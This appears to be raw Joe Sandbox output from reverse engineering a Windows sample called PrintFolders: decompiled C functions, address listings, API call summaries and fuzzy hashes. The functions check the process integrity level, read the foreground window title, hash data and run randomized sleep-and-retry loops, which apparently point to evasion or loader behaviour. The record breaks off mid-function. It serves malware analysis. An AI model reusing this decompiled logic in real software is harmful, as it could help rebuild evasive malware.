                                                          0x004287c6
                                                          0x004287cd
                                                          0x004287cd
                                                          0x004287cd
                                                          0x004287d9
                                                          0x00000000
                                                          0x004287d9
                                                          0x00428784
                                                          0x00428788
                                                          0x00000000
                                                          0x00000000
                                                          0x0042878a
                                                          0x00428799
                                                          0x0042879e
                                                          0x004287a1
                                                          0x004287a2
                                                          0x004287a5
                                                          0x004287a5
                                                          0x004287ac
                                                          0x004287ae
                                                          0x004287b1
                                                          0x004287b4
                                                          0x004287b7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00428717
                                                          0x0042871c
                                                          0x0042871f
                                                          0x00428726
                                                          0x00000000
                                                          0x00428726
                                                          0x004286f0
                                                          0x004286f0
                                                          0x004286f5
                                                          0x004286f5
                                                          0x004286fb
                                                          0x004286fd
                                                          0x00000000
                                                          0x00428702

                                                          APIs
                                                            • Part of subcall function 00428377: CreateFileW.KERNEL32(00000000,00000000,?,00428767,?,?,00000000,?,00428767,00000000,0000000C), ref: 00428394
                                                          • GetLastError.KERNEL32 ref: 004287D2
                                                          • __dosmaperr.LIBCMT ref: 004287D9
                                                          • GetFileType.KERNEL32(00000000), ref: 004287E5
                                                          • GetLastError.KERNEL32 ref: 004287EF
                                                          • __dosmaperr.LIBCMT ref: 004287F8
                                                          • CloseHandle.KERNEL32(00000000), ref: 00428818
                                                          • CloseHandle.KERNEL32(0041E0F8), ref: 00428965
                                                          • GetLastError.KERNEL32 ref: 00428997
                                                          • __dosmaperr.LIBCMT ref: 0042899E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                          • String ID: H
                                                          • API String ID: 4237864984-2852464175
                                                          • Opcode ID: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
                                                          • Instruction ID: 1e70075c2325eb26896e542e756e04c6963ea449c89895b1e211c5b43069dcbf
                                                          • Opcode Fuzzy Hash: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
                                                          • Instruction Fuzzy Hash: 76A15D32B001649FCF19EF68EC51BAE3BA1AB46314F54015EF811EB392CB39D942CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E004065E0(void* __esi) {
                                                          				signed int _v8;
                                                          				void _v84;
                                                          				short _v88;
                                                          				struct _SID_IDENTIFIER_AUTHORITY _v92;
                                                          				long _v96;
                                                          				void* _v100;
                                                          				void* _v104;
                                                          				signed int _t16;
                                                          				int _t25;
                                                          				int _t30;
                                                          				void* _t35;
                                                          				void* _t40;
                                                          				void* _t41;
                                                          				void* _t44;
                                                          				signed int _t45;
                                                          
                                                          				_t42 = __esi;
                                                          				_t16 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t16 ^ _t45;
                                                          				_v92.Value = 0;
                                                          				_v88 = 0x500;
                                                          				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v100) == 0) {
                                                          					L3:
                                                          					return E0040EBBF(0, _t35, _v8 ^ _t45, _t40, _t41, _t42);
                                                          				} else {
                                                          					_t25 = GetTokenInformation(_v100, 1,  &_v84, 0x4c,  &_v96); // executed
                                                          					_push(_v100);
                                                          					if(_t25 != 0) {
                                                          						CloseHandle();
                                                          						if(AllocateAndInitializeSid( &_v92, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v104) == 0) {
                                                          							goto L3;
                                                          						} else {
                                                          							_push(__esi);
                                                          							_t30 = EqualSid(_v84, _v104);
                                                          							FreeSid(_v104);
                                                          							_pop(_t44);
                                                          							return E0040EBBF(_t30, _t35, _v8 ^ _t45, _t40, _t41, _t44);
                                                          						}
                                                          					} else {
                                                          						CloseHandle();
                                                          						goto L3;
                                                          					}
                                                          				}
                                                          			}


















                                                          0x004065e0
                                                          0x004065e6
                                                          0x004065ed
                                                          0x004065f3
                                                          0x004065fd
                                                          0x00406612
                                                          0x00406636
                                                          0x00406645
                                                          0x00406614
                                                          0x00406623
                                                          0x00406629
                                                          0x0040662e
                                                          0x00406646
                                                          0x0040666e
                                                          0x00000000
                                                          0x00406670
                                                          0x00406670
                                                          0x00406677
                                                          0x00406682
                                                          0x0040668f
                                                          0x00406698
                                                          0x00406698
                                                          0x00406630
                                                          0x00406630
                                                          0x00000000
                                                          0x00406630
                                                          0x0040662e

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
                                                          • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,0000004C,?), ref: 00406623
                                                          • CloseHandle.KERNEL32(?), ref: 00406630
                                                          • CloseHandle.KERNEL32(?), ref: 00406646
                                                          • AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00406666
                                                          • EqualSid.ADVAPI32(?,?), ref: 00406677
                                                          • FreeSid.ADVAPI32(?), ref: 00406682
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CloseHandleProcessToken$AllocateCurrentEqualFreeInformationInitializeOpen
                                                          • String ID:
                                                          • API String ID: 1013447061-0
                                                          • Opcode ID: 8e728c0aa3363026ab09ef20ff487f076741c97f8360c68268a6665fe9e221c8
                                                          • Instruction ID: 578e346a92eed40973933b436f29d829d3a9d7cfed80168a2ded3e3812858e1e
                                                          • Opcode Fuzzy Hash: 8e728c0aa3363026ab09ef20ff487f076741c97f8360c68268a6665fe9e221c8
                                                          • Instruction Fuzzy Hash: 3E111F31B0021CABDB20DFE1DD49BAEB7B9FF08701F400479E906EA190DAB599169B59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E00408D00(void* __ebx, void* __edi, long __esi, void* __eflags, char _a4) {
                                                          				char _v8;
                                                          				signed int _v12;
                                                          				void* _v16;
                                                          				signed int _v20;
                                                          				char _v44;
                                                          				char _v68;
                                                          				char _v92;
                                                          				char _v420;
                                                          				char _v748;
                                                          				char _v1076;
                                                          				signed char _v1080;
                                                          				intOrPtr _v1084;
                                                          				signed int _v1088;
                                                          				intOrPtr _v1092;
                                                          				char _v1116;
                                                          				char _v1140;
                                                          				char _v1164;
                                                          				char _v1188;
                                                          				char _v1212;
                                                          				char _v1236;
                                                          				char _v1260;
                                                          				signed int _v1284;
                                                          				short _v1288;
                                                          				intOrPtr _v1292;
                                                          				intOrPtr _v1296;
                                                          				intOrPtr _v1300;
                                                          				signed int _t107;
                                                          				signed int _t108;
                                                          				void* _t110;
                                                          				void* _t114;
                                                          				void* _t117;
                                                          				void* _t119;
                                                          				void* _t120;
                                                          				void* _t121;
                                                          				void* _t122;
                                                          				void* _t123;
                                                          				void* _t132;
                                                          				void* _t133;
                                                          				signed int _t136;
                                                          				void* _t148;
                                                          				void* _t149;
                                                          				signed int _t151;
                                                          				void* _t156;
                                                          				void* _t160;
                                                          				void* _t161;
                                                          				signed int _t163;
                                                          				signed int _t167;
                                                          				intOrPtr _t170;
                                                          				signed int _t179;
                                                          				void* _t180;
                                                          				signed char _t183;
                                                          				char* _t187;
                                                          				intOrPtr _t188;
                                                          				signed char _t192;
                                                          				signed int _t197;
                                                          				void* _t204;
                                                          				intOrPtr _t251;
                                                          				signed int _t269;
                                                          				signed int _t295;
                                                          				signed int _t299;
                                                          				signed int _t300;
                                                          				void* _t301;
                                                          				void* _t302;
                                                          				void* _t308;
                                                          				void* _t309;
                                                          				signed int _t310;
                                                          				void* _t315;
                                                          
                                                          				_t292 = __esi;
                                                          				_t289 = __edi;
                                                          				_push(0xffffffff);
                                                          				_push(0x42ca27);
                                                          				_push( *[fs:0x0]);
                                                          				_t302 = _t301 - 0x4dc;
                                                          				_t107 =  *0x43d054; // 0x6e36c9b5
                                                          				_t108 = _t107 ^ _t299;
                                                          				_v20 = _t108;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t108);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_v8 = 0;
                                                          				_t110 = E00405F40(__ebx, __edi); // executed
                                                          				_t201 = Sleep;
                                                          				_t318 = _t110;
                                                          				if(_t110 == 0) {
                                                          					L3:
                                                          					E00401960( &_v748, "1"); // executed
                                                          					_v8 = 1;
                                                          					_t114 = E00402510( &_v1140, E0040B8F0(E00409340(_t201, _t271, _t289, _t292)));
                                                          					_v8 = 2;
                                                          					_t117 = E00402510( &_v1116, E0040B800(E00409290(_t271, _t114, _t292)));
                                                          					_v8 = 3;
                                                          					L37();
                                                          					_t119 = E00402510( &_v1260, E0040B7D0(_t117));
                                                          					_v8 = 4;
                                                          					_t120 = E0040C930( &_v1236, 0x450e3c, _t119);
                                                          					_v8 = 5;
                                                          					_t121 = E0040C990( &_v1212, _t120,  &_a4);
                                                          					_v8 = 6;
                                                          					_t122 = E0040CA40( &_v1188, _t121, _t117);
                                                          					_v8 = 7;
                                                          					_t123 = E0040CA40( &_v1164, _t122, _t114);
                                                          					_v8 = 8;
                                                          					E0040C990( &_v92, _t123, 0x450e24);
                                                          					_t308 = _t302 - 0x10 + 0x14;
                                                          					E00402440(_t201,  &_v1164);
                                                          					E00402440(_t201,  &_v1188);
                                                          					E00402440(_t201,  &_v1212);
                                                          					E00402440(_t201,  &_v1236);
                                                          					E00402440(_t201,  &_v1260);
                                                          					E00402440(_t201,  &_v1116);
                                                          					_v8 = 0x10;
                                                          					E00402440(_t201,  &_v1140);
                                                          					_t294 = 0;
                                                          					_t291 = 0xc8;
                                                          					while(1) {
                                                          						_t294 =  &(1[_t294]);
                                                          						_t132 = E00402400( &_v92);
                                                          						_t226 =  &_v748;
                                                          						_t133 = E00402300(_t201,  &_v748, _t291, _t132); // executed
                                                          						if(_t133 == 0) {
                                                          							goto L8;
                                                          						}
                                                          						E00402510( &_v44, E00402370( &_v748));
                                                          						_t280 = "0";
                                                          						if(E00402800( &_v44, "0") != 0) {
                                                          							L11:
                                                          							E00402440(_t201,  &_v44);
                                                          							E0040BB70( &_v68);
                                                          							_t309 = _t308 - 0x10;
                                                          							_v8 = 0x11;
                                                          							E00401960( &_v1076, "0"); // executed
                                                          							_v8 = 0x12;
                                                          							while(1) {
                                                          								_t148 = E00402510( &_v1116, E0040B8C0(E004093D0(_t201, _t280, _t291, _t294)));
                                                          								_t280 = 0x450e54;
                                                          								_v8 = 0x15;
                                                          								_t149 = E0040C930( &_v1140, 0x450e54, _t148);
                                                          								_t309 = _t309 + 4;
                                                          								_v8 = 0x16;
                                                          								_t151 = E00402300(_t201,  &_v1076, _t291, E00402400(_t149)); // executed
                                                          								_t294 = _t151;
                                                          								E00402440(_t201,  &_v1140);
                                                          								_v8 = 0x12;
                                                          								E00402440(_t201,  &_v1116);
                                                          								__eflags = _t151;
                                                          								if(_t151 == 0) {
                                                          									goto L15;
                                                          								}
                                                          								E00402410( &_v68, E00402370( &_v1076));
                                                          								_t156 = E004023F0( &_v68);
                                                          								__eflags = _t156 - 0xa;
                                                          								if(_t156 <= 0xa) {
                                                          									goto L15;
                                                          								}
                                                          								__eflags = _t156 - 0x64;
                                                          								if(_t156 < 0x64) {
                                                          									_t310 = _t309 - 0x10;
                                                          									_t295 = 0;
                                                          									__eflags = 0;
                                                          									E00401960( &_v420, "1"); // executed
                                                          									_v8 = 0x17;
                                                          									do {
                                                          										_v1092 = _t295 + 1;
                                                          										_t160 = E00402510( &_v1116, E0040B7A0(E00409460(_t280, _t291, _t295 + 1)));
                                                          										_t280 = 0x450e54;
                                                          										_v8 = 0x1a;
                                                          										_t161 = E0040C930( &_v1140, 0x450e54, _t160);
                                                          										_t310 = _t310 + 4;
                                                          										_v8 = 0x1b;
                                                          										_t163 = E00402300(_t201,  &_v420, _t291, E00402400(_t161)); // executed
                                                          										E00402440(_t201,  &_v1140);
                                                          										_v8 = 0x17;
                                                          										E00402440(_t201,  &_v1116);
                                                          										__eflags = _t163;
                                                          										if(_t163 == 0) {
                                                          											goto L20;
                                                          										}
                                                          										_t201 = E00402380( &_v420);
                                                          										__eflags = _t201 - 0x16;
                                                          										if(__eflags <= 0) {
                                                          											goto L20;
                                                          										}
                                                          										_push( ~(0 | __eflags > 0x00000000) |  &(1[_t201]));
                                                          										_t179 = E004162EE();
                                                          										_t77 =  &(1[_t201]); // 0x1
                                                          										_t291 = _t179;
                                                          										_t180 = E00402340( &_v420, _t179, _t77);
                                                          										_push( ~(0 | __eflags > 0x00000000) | _t201 * 0x00000002); // executed
                                                          										_t183 = E004162EE(); // executed
                                                          										_t315 = _t310 + 4 - 0x14;
                                                          										_v1080 = _t183;
                                                          										E0040BB90(_t201, _t315, _t201 * 2 >> 0x20, _t179,  &_v68);
                                                          										_t187 = E00403770(_t201, _t179, _t180, _t291,  &_v1080); // executed
                                                          										_t280 = _t187;
                                                          										_t188 = E00402B60(_v1080, _t187, __eflags,  &_v1088,  &_v1088); // executed
                                                          										_t310 = _t315 + 0x24;
                                                          										_v1084 = _t188;
                                                          										__eflags = _v1088;
                                                          										if(_v1088 != 0) {
                                                          											_t291 = Sleep;
                                                          											_t295 = 0;
                                                          											_v1080 = 0;
                                                          											_t201 = 0;
                                                          											__eflags = 0;
                                                          											do {
                                                          												_t269 = _v1084(E00402400(0x450e6c), E00402400(0x450df4));
                                                          												_t310 = _t310 + 8;
                                                          												_t192 = _v1080;
                                                          												_t280 = 1;
                                                          												__eflags = _t192;
                                                          												if(_t192 != 0) {
                                                          													__eflags = _t269;
                                                          													_t201 =  ==  ? 1 : _t201 & 0x000000ff;
                                                          													__eflags = _t201;
                                                          												}
                                                          												__eflags = _t295 - 0xa;
                                                          												if(_t295 >= 0xa) {
                                                          													__eflags = _t269 - 1;
                                                          													_t201 =  !=  ? _t280 : _t201 & 0x000000ff;
                                                          													__eflags = _t201;
                                                          												}
                                                          												__eflags = _t295 - 0xf;
                                                          												if(_t295 < 0xf) {
                                                          													__eflags = _t295 - 5;
                                                          													if(_t295 < 5) {
                                                          														goto L33;
                                                          													}
                                                          													goto L31;
                                                          												} else {
                                                          													__eflags = _t269 - 1;
                                                          													if(_t269 == 1) {
                                                          														_t201 = _t269;
                                                          													}
                                                          													L31:
                                                          													__eflags = _t192;
                                                          													if(_t192 != 0) {
                                                          														goto L33;
                                                          													}
                                                          													__eflags = _t269 - 0xfffffffe;
                                                          													if(__eflags == 0) {
                                                          														Sleep(0x7d0); // executed
                                                          														L36:
                                                          														E004054C0(_t201, __eflags); // executed
                                                          														asm("int3");
                                                          														asm("int3");
                                                          														asm("int3");
                                                          														asm("int3");
                                                          														asm("int3");
                                                          														_push(_t299);
                                                          														_t300 = _t310;
                                                          														_t167 =  *0x43d054; // 0x6e36c9b5
                                                          														_v1284 = _t167 ^ _t300;
                                                          														_v1300 = 0x5a405b41;
                                                          														_v1296 = 0x5e465e00;
                                                          														_v1292 = 0x4c5b5d11;
                                                          														_t251 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          														_t170 =  *0x450f38; // 0x80000017
                                                          														_v1288 = 0x2e13;
                                                          														__eflags = _t170 -  *((intOrPtr*)(_t251 + 4));
                                                          														if(_t170 >  *((intOrPtr*)(_t251 + 4))) {
                                                          															E0040EF48(_t170, 0x450f38);
                                                          															__eflags =  *0x450f38 - 0xffffffff;
                                                          															if(__eflags == 0) {
                                                          																asm("movaps xmm0, [0x439d70]");
                                                          																asm("movups [0x450db0], xmm0");
                                                          																 *0x450dc8 = _v20;
                                                          																asm("movq xmm0, [ebp-0x14]");
                                                          																asm("movq [0x450dc0], xmm0");
                                                          																 *0x450dcc = _v16;
                                                          																E0040F25B(_t251, __eflags, 0x42d490);
                                                          																E0040EEFE(0x450f38);
                                                          															}
                                                          														}
                                                          														__eflags = _v12 ^ _t300;
                                                          														return E0040EBBF(0x450db0, _t201, _v12 ^ _t300, _t280, _t291, _t295);
                                                          													}
                                                          												}
                                                          												L33:
                                                          												__eflags = _t269 - 1;
                                                          												_t194 =  ==  ? _t280 : _t192 & 0x000000ff;
                                                          												_t295 = _t295 + 1;
                                                          												_v1080 =  ==  ? _t280 : _t192 & 0x000000ff;
                                                          												Sleep(0x7d0); // executed
                                                          												__eflags = _t201;
                                                          											} while (__eflags == 0);
                                                          											goto L36;
                                                          										}
                                                          										L20:
                                                          										_t295 = _v1092;
                                                          										__eflags = _t295 - 0xa;
                                                          									} while (__eflags < 0);
                                                          									goto L36;
                                                          								}
                                                          								L15:
                                                          								Sleep(0xbb8);
                                                          							}
                                                          						}
                                                          						_t280 = "1";
                                                          						if(E00402800( &_v44, "1") != 0) {
                                                          							goto L11;
                                                          						}
                                                          						_t226 =  &_v44;
                                                          						E00402440(_t201,  &_v44);
                                                          						L8:
                                                          						_t324 = _t294 - 0x12c;
                                                          						if(_t294 <= 0x12c) {
                                                          							_t46 = _t294 + 3; // 0x4
                                                          							Sleep(_t46 * 0x3e8);
                                                          						} else {
                                                          							_t136 = E00417DF6(_t226, _t324);
                                                          							asm("cdq");
                                                          							Sleep((_t136 % _t291 + 0x67) * 0x3e8);
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t292 = 0x7d0;
                                                          					do {
                                                          						_t197 = E00417DF6(_t204, _t318);
                                                          						asm("cdq");
                                                          						_t271 = _t197 % 0x7d0 + 0x3e8;
                                                          						Sleep(_t197 % 0x7d0 + 0x3e8);
                                                          					} while (E00405F40(Sleep, __edi) != 0);
                                                          					goto L3;
                                                          				}
                                                          			}






































































                                                          0x00408d00
                                                          0x00408d00
                                                          0x00408d03
                                                          0x00408d05
                                                          0x00408d10
                                                          0x00408d11
                                                          0x00408d17
                                                          0x00408d1c
                                                          0x00408d1e
                                                          0x00408d21
                                                          0x00408d22
                                                          0x00408d23
                                                          0x00408d24
                                                          0x00408d28
                                                          0x00408d2e
                                                          0x00408d35
                                                          0x00408d3a
                                                          0x00408d40
                                                          0x00408d42
                                                          0x00408d6a
                                                          0x00408d78
                                                          0x00408d7d
                                                          0x00408d94
                                                          0x00408d9b
                                                          0x00408db2
                                                          0x00408db9
                                                          0x00408dbd
                                                          0x00408dd0
                                                          0x00408ddb
                                                          0x00408de5
                                                          0x00408df0
                                                          0x00408dfd
                                                          0x00408e08
                                                          0x00408e12
                                                          0x00408e1d
                                                          0x00408e27
                                                          0x00408e36
                                                          0x00408e3d
                                                          0x00408e42
                                                          0x00408e4b
                                                          0x00408e56
                                                          0x00408e61
                                                          0x00408e6c
                                                          0x00408e77
                                                          0x00408e82
                                                          0x00408e8d
                                                          0x00408e91
                                                          0x00408e96
                                                          0x00408e98
                                                          0x00408ea0
                                                          0x00408ea3
                                                          0x00408ea4
                                                          0x00408eaa
                                                          0x00408eb0
                                                          0x00408eb7
                                                          0x00000000
                                                          0x00000000
                                                          0x00408ec8
                                                          0x00408ecd
                                                          0x00408edc
                                                          0x00408f2b
                                                          0x00408f2e
                                                          0x00408f36
                                                          0x00408f3b
                                                          0x00408f3e
                                                          0x00408f4d
                                                          0x00408f52
                                                          0x00408f56
                                                          0x00408f69
                                                          0x00408f6f
                                                          0x00408f74
                                                          0x00408f7e
                                                          0x00408f83
                                                          0x00408f88
                                                          0x00408f98
                                                          0x00408fa3
                                                          0x00408fa5
                                                          0x00408fb0
                                                          0x00408fb4
                                                          0x00408fb9
                                                          0x00408fbb
                                                          0x00000000
                                                          0x00000000
                                                          0x00408fcc
                                                          0x00408fd4
                                                          0x00408fd9
                                                          0x00408fdc
                                                          0x00000000
                                                          0x00000000
                                                          0x00408fde
                                                          0x00408fe1
                                                          0x00408fef
                                                          0x00408ff8
                                                          0x00408ff8
                                                          0x00408fff
                                                          0x00409004
                                                          0x00409010
                                                          0x00409011
                                                          0x0040902a
                                                          0x00409030
                                                          0x00409035
                                                          0x0040903f
                                                          0x00409044
                                                          0x00409049
                                                          0x00409059
                                                          0x00409066
                                                          0x00409071
                                                          0x00409075
                                                          0x0040907a
                                                          0x0040907c
                                                          0x00000000
                                                          0x00000000
                                                          0x0040908d
                                                          0x0040908f
                                                          0x00409092
                                                          0x00000000
                                                          0x00000000
                                                          0x004090a6
                                                          0x004090a7
                                                          0x004090af
                                                          0x004090b2
                                                          0x004090bc
                                                          0x004090d5
                                                          0x004090d6
                                                          0x004090db
                                                          0x004090de
                                                          0x004090ea
                                                          0x004090fa
                                                          0x00409108
                                                          0x00409112
                                                          0x00409117
                                                          0x0040911a
                                                          0x00409120
                                                          0x00409127
                                                          0x0040913d
                                                          0x00409143
                                                          0x00409145
                                                          0x0040914c
                                                          0x0040914c
                                                          0x00409150
                                                          0x0040916c
                                                          0x0040916e
                                                          0x00409171
                                                          0x00409177
                                                          0x0040917c
                                                          0x0040917e
                                                          0x00409180
                                                          0x00409185
                                                          0x00409185
                                                          0x00409185
                                                          0x00409188
                                                          0x0040918b
                                                          0x0040918d
                                                          0x00409193
                                                          0x00409193
                                                          0x00409193
                                                          0x00409196
                                                          0x00409199
                                                          0x004091a4
                                                          0x004091a7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040919b
                                                          0x0040919b
                                                          0x0040919e
                                                          0x004091a0
                                                          0x004091a0
                                                          0x004091a9
                                                          0x004091a9
                                                          0x004091ab
                                                          0x00000000
                                                          0x00000000
                                                          0x004091ad
                                                          0x004091b0
                                                          0x004091d4
                                                          0x004091d6
                                                          0x004091d6
                                                          0x004091db
                                                          0x004091dc
                                                          0x004091dd
                                                          0x004091de
                                                          0x004091df
                                                          0x004091e0
                                                          0x004091e1
                                                          0x004091e6
                                                          0x004091ed
                                                          0x004091f6
                                                          0x004091fd
                                                          0x00409204
                                                          0x0040920b
                                                          0x0040920d
                                                          0x00409212
                                                          0x00409218
                                                          0x0040921e
                                                          0x00409225
                                                          0x0040922d
                                                          0x00409234
                                                          0x00409236
                                                          0x00409240
                                                          0x00409247
                                                          0x0040924c
                                                          0x0040925a
                                                          0x00409262
                                                          0x00409268
                                                          0x00409272
                                                          0x00409277
                                                          0x00409234
                                                          0x00409282
                                                          0x0040928c
                                                          0x0040928c
                                                          0x004091b0
                                                          0x004091b2
                                                          0x004091b2
                                                          0x004091bd
                                                          0x004091c0
                                                          0x004091c1
                                                          0x004091c7
                                                          0x004091c9
                                                          0x004091c9
                                                          0x00000000
                                                          0x004091cd
                                                          0x00409129
                                                          0x00409129
                                                          0x0040912f
                                                          0x0040912f
                                                          0x00000000
                                                          0x00409138
                                                          0x00408fe3
                                                          0x00408fe8
                                                          0x00408fe8
                                                          0x00408f56
                                                          0x00408ede
                                                          0x00408eed
                                                          0x00000000
                                                          0x00000000
                                                          0x00408eef
                                                          0x00408ef2
                                                          0x00408ef7
                                                          0x00408ef7
                                                          0x00408efd
                                                          0x00408f1a
                                                          0x00408f24
                                                          0x00408eff
                                                          0x00408eff
                                                          0x00408f04
                                                          0x00408f14
                                                          0x00408f14
                                                          0x00408efd
                                                          0x00408d44
                                                          0x00408d44
                                                          0x00408d50
                                                          0x00408d50
                                                          0x00408d55
                                                          0x00408d58
                                                          0x00408d5f
                                                          0x00408d66
                                                          0x00000000
                                                          0x00408d50

                                                          APIs
                                                            • Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 00405FE0
                                                            • Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004060D6
                                                          • Sleep.KERNEL32(?,6E36C9B5), ref: 00408D5F
                                                            • Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004061D5
                                                            • Part of subcall function 00405F40: GetForegroundWindow.USER32 ref: 00406276
                                                            • Part of subcall function 00405F40: GetWindowTextA.USER32 ref: 00406291
                                                          • Sleep.KERNEL32(?,00000000,00000000,?,?,?,?,00439B30,6E36C9B5), ref: 00408F14
                                                          • Sleep.KERNEL32(00000004,00000000,?,?,?,?,00439B30,6E36C9B5), ref: 00408F24
                                                          • Sleep.KERNEL32(00000BB8,00000000,00439B34,?,?,?,?,?,?,?,?,00439B30,6E36C9B5), ref: 00408FE8
                                                          • Sleep.KERNEL32(000007D0), ref: 004091C7
                                                            • Part of subcall function 00403770: CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,6E36C9B5), ref: 004037F0
                                                            • Part of subcall function 00403770: CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
                                                            • Part of subcall function 00403770: _mbstowcs.LIBCMT ref: 00403867
                                                            • Part of subcall function 00403770: CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
                                                            • Part of subcall function 00403770: GetLastError.KERNEL32 ref: 00403888
                                                          • Sleep.KERNEL32(000007D0), ref: 004091D4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Sleep$CryptInit_thread_footer$HashWindow$AcquireContextCreateDataErrorForegroundLastText_mbstowcs
                                                          • String ID: )<
                                                          • API String ID: 1673536643-2400745456
                                                          • Opcode ID: 23d203c44105ae4b2082f425863ddf676ccaa81f6680862cae038eba0604537e
                                                          • Instruction ID: 70604cc1ca8e53ac9b92178323d8b5bc0271906fc0c0c9cf9f081b3e31f09ae7
                                                          • Opcode Fuzzy Hash: 23d203c44105ae4b2082f425863ddf676ccaa81f6680862cae038eba0604537e
                                                          • Instruction Fuzzy Hash: C6C1C1B09001588ADB18F775CD997EE72689F5030CF4401BEE90AB72D2EE7C5E49CA6D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E00409500(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, char _a4, intOrPtr _a20, char* _a24) {
                                                          				struct _SECURITY_ATTRIBUTES* _v8;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				char _v44;
                                                          				char _v220;
                                                          				char _v248;
                                                          				signed int _t32;
                                                          				signed int _t33;
                                                          				void* _t41;
                                                          				signed int _t42;
                                                          				char* _t44;
                                                          				void* _t47;
                                                          				signed int _t56;
                                                          				signed int _t57;
                                                          				signed int _t60;
                                                          				signed int _t61;
                                                          				void* _t62;
                                                          				signed char* _t65;
                                                          				signed int _t70;
                                                          				char* _t81;
                                                          				void* _t83;
                                                          				char _t85;
                                                          				signed int _t89;
                                                          				void* _t92;
                                                          				void* _t96;
                                                          
                                                          				_t83 = __edi;
                                                          				_t62 = __ebx;
                                                          				_push(0xffffffff);
                                                          				_push(0x42ca80);
                                                          				_push( *[fs:0x0]);
                                                          				_t32 =  *0x43d054; // 0x6e36c9b5
                                                          				_t33 = _t32 ^ _t89;
                                                          				_v20 = _t33;
                                                          				_push(_t33);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_v8 = 0;
                                                          				E00417E17(__ecx, E00418873(__ecx, __edx, 0));
                                                          				_t81 = _a24;
                                                          				_t85 = _a4;
                                                          				_t92 = _t89 - 0xec + 8;
                                                          				_t65 =  >=  ? _t85 :  &_a4;
                                                          				if(_a20 != 3) {
                                                          					L7:
                                                          					_t65 =  >=  ? _t85 :  &_a4;
                                                          					if(_a20 == 4) {
                                                          						_t56 =  *_t65;
                                                          						_t81 = "/chk";
                                                          						if(_t56 !=  *_t81) {
                                                          							__eflags = _t56 -  *_t81;
                                                          							if(_t56 !=  *_t81) {
                                                          								L15:
                                                          								asm("sbb eax, eax");
                                                          								_t57 = _t56 | 0x00000001;
                                                          								__eflags = _t57;
                                                          							} else {
                                                          								_t56 = _t65[1];
                                                          								__eflags = _t56 - _t81[1];
                                                          								if(_t56 != _t81[1]) {
                                                          									goto L15;
                                                          								} else {
                                                          									_t56 = _t65[2];
                                                          									__eflags = _t56 - _t81[2];
                                                          									if(_t56 != _t81[2]) {
                                                          										goto L15;
                                                          									} else {
                                                          										_t56 = _t65[3];
                                                          										__eflags = _t56 - _t81[3];
                                                          										if(__eflags != 0) {
                                                          											goto L15;
                                                          										} else {
                                                          											_t57 = 0;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t65 =  &(_t65[4]);
                                                          							_t57 = 0;
                                                          						}
                                                          						_t106 = _t57;
                                                          						if(_t57 == 0) {
                                                          							goto L17;
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t60 =  *_t65 & 0x000000ff;
                                                          					if(_t60 != 0x63) {
                                                          						L5:
                                                          						asm("sbb eax, eax");
                                                          						_t61 = _t60 | 0x00000001;
                                                          						__eflags = _t61;
                                                          					} else {
                                                          						_t60 = _t65[1] & 0x000000ff;
                                                          						if(_t60 != 0x68) {
                                                          							goto L5;
                                                          						} else {
                                                          							_t60 = _t65[2] & 0x000000ff;
                                                          							if(_t60 != 0x6b) {
                                                          								goto L5;
                                                          							} else {
                                                          								_t61 = 0;
                                                          							}
                                                          						}
